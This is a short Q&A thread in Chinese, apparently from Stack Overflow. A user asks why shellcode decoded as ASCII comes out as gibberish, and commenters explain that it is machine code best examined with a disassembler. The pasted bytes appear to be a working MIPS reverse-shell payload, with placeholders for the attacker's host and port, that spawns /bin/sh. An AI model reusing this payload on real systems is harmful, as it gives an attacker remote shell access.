【发布时间】:2020-10-09 01:10:03
【问题描述】:
我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
我尝试使用相同的输出以多种方式对其进行解码,还有其他方法可以解码吗?
【问题讨论】:
-
用
shellcode阐述你的意思;示例中有大量非 ASCII 数据(\x7f 以上的任何内容);对于较低的值,有echo -e '\x43\x61\x74' -
当你有一些对应于字符串的字节值时,绝对有必要知道这些字节值在哪个 encoding 中。如果没有编码,你所能做的就是尝试转换从一堆字符串到目标编码。即使这样,您也需要记住,并非所有编码都是平等的 - ASCII 只有这么多 代码点, 其他编码有其他代码点和其他从字节构造字符的方式,例如多字节UTF-8 等编码。
-
Shellcode 包含机器指令,因此解码为 ASCII 肯定行不通。您可能应该尝试使用反汇编程序。我不知道能够做到这一点的工具,但也许 objdump 可以帮助你